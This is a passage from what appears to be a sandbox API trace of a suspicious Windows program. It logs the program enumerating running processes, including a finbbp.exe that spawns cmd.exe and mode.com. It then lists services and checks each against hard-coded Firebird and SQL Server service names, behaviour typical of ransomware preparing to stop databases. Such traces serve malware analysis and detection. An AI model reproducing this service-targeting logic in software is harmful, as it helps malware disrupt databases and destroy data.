th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0242.072] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0242.072] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0242.072] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0242.072] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.073] lstrlenW (lpString="svchost.exe") returned 11 [0242.073] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.073] lstrlenW (lpString="svchost.exe") returned 11 [0242.074] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0242.074] lstrlenW (lpString="dwm.exe") returned 7 [0242.074] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.075] lstrlenW (lpString="svchost.exe") returned 11 [0242.075] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.076] lstrlenW (lpString="svchost.exe") returned 11 [0242.076] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.076] lstrlenW (lpString="svchost.exe") returned 11 [0242.076] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.077] lstrlenW (lpString="svchost.exe") returned 11 [0242.077] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.077] lstrlenW (lpString="svchost.exe") returned 11 [0242.077] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.078] lstrlenW (lpString="svchost.exe") returned 11 [0242.078] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.078] lstrlenW (lpString="svchost.exe") returned 11 [0242.078] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.079] lstrlenW (lpString="svchost.exe") returned 11 [0242.079] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.080] lstrlenW (lpString="svchost.exe") returned 11 [0242.080] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.097] lstrlenW (lpString="svchost.exe") returned 11 [0242.097] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0242.097] lstrlenW (lpString="spoolsv.exe") returned 11 [0242.098] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.098] lstrlenW (lpString="svchost.exe") returned 11 [0242.098] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0242.099] lstrlenW (lpString="audiodg.exe") returned 11 [0242.099] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0242.099] lstrlenW (lpString="sihost.exe") returned 10 [0242.099] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.100] lstrlenW (lpString="svchost.exe") returned 11 [0242.100] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0242.100] lstrlenW (lpString="taskhostw.exe") returned 13 [0242.100] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0242.101] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0242.101] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0242.102] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0242.102] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0242.102] lstrlenW (lpString="Memory Compression") returned 18 [0242.102] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0242.103] lstrlenW (lpString="explorer.exe") returned 12 [0242.103] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0242.103] lstrlenW (lpString="SearchUI.exe") returned 12 [0242.103] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0242.104] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0242.104] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0242.105] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0242.105] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0242.254] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0242.254] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0242.255] lstrlenW (lpString="finbbp.exe") returned 10 [0242.255] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0242.255] lstrlenW (lpString="cmd.exe") returned 7 [0242.255] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0242.256] lstrlenW (lpString="conhost.exe") returned 11 [0242.256] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0242.256] lstrlenW (lpString="mode.com") returned 8 [0242.257] Process32NextW (in: hSnapshot=0x45c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0242.257] CloseHandle (hObject=0x45c) returned 1 [0242.257] Sleep (dwMilliseconds=0x1f4) [0243.331] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aaad8 [0243.332] EnumServicesStatusExW (in: hSCManager=0x41aaad8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0243.332] GetLastError () returned 0xea [0243.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1bc4) returned 0x4205420 [0243.332] EnumServicesStatusExW (in: hSCManager=0x41aaad8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4205420, cbBufSize=0x1bc4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4205420, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0243.334] CloseServiceHandle (hSCObject=0x41aaad8) returned 1 [0243.334] lstrlenW (lpString="Appinfo") returned 7 [0243.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0243.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0243.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0243.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0243.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0243.334] lstrlenW (lpString="AppXSvc") returned 7 [0243.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0243.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0243.334] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0243.334] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0243.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0243.334] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0243.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0243.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0243.334] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0243.334] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0243.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0243.335] lstrlenW (lpString="Audiosrv") returned 8 [0243.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0243.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0243.335] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0243.335] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0243.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0243.335] lstrlenW (lpString="BFE") returned 3 [0243.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0243.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0243.335] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0243.335] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0243.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0243.335] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0243.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0243.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0243.335] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0243.335] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0243.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0243.335] lstrlenW (lpString="CDPSvc") returned 6 [0243.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0243.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0243.335] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0243.335] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0243.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0243.335] lstrlenW (lpString="ClickToRunSvc") returned 13 [0243.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0243.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0243.336] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0243.336] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0243.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0243.336] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0243.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0243.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0243.336] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0243.336] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0243.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0243.336] lstrlenW (lpString="CryptSvc") returned 8 [0243.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0243.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0243.336] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0243.336] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0243.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0243.336] lstrlenW (lpString="DcomLaunch") returned 10 [0243.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0243.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0243.336] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0243.336] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0243.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0243.336] lstrlenW (lpString="DeviceAssociationService") returned 24 [0243.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0243.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0243.336] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0243.336] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0243.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0243.336] lstrlenW (lpString="Dhcp") returned 4 [0243.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0243.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0243.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0243.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0243.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0243.337] lstrlenW (lpString="Dnscache") returned 8 [0243.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0243.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0243.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0243.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0243.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0243.337] lstrlenW (lpString="DPS") returned 3 [0243.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0243.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0243.337] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0243.337] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0243.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0243.337] lstrlenW (lpString="DusmSvc") returned 7 [0243.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0243.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0243.337] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0243.337] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0243.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0243.337] lstrlenW (lpString="EventLog") returned 8 [0243.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0243.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0243.338] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0243.338] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0243.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0243.338] lstrlenW (lpString="EventSystem") returned 11 [0243.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0243.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0243.338] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0243.338] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0243.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0243.338] lstrlenW (lpString="FontCache") returned 9 [0243.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0243.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0243.338] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0243.338] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0243.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0243.338] lstrlenW (lpString="gpsvc") returned 5 [0243.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0243.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0243.338] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0243.338] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0243.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0243.338] lstrlenW (lpString="iphlpsvc") returned 8 [0243.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0243.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0243.338] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0243.338] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0243.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0243.339] lstrlenW (lpString="KeyIso") returned 6 [0243.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0243.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0243.339] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0243.339] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0243.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0243.339] lstrlenW (lpString="LanmanServer") returned 12 [0243.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0243.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0243.339] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0243.339] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0243.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0243.339] lstrlenW (lpString="LanmanWorkstation") returned 17 [0243.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0243.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0243.339] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0243.339] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0243.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0243.339] lstrlenW (lpString="lfsvc") returned 5 [0243.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0243.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0243.469] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0243.469] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0243.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0243.469] lstrlenW (lpString="lmhosts") returned 7 [0243.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0243.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0243.470] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0243.470] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0243.470] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0243.470] lstrlenW (lpString="LSM") returned 3 [0243.470] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0243.470] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0243.470] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0243.470] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0243.470] lstrcmpiW (lpString1="sqlserveradhelper", 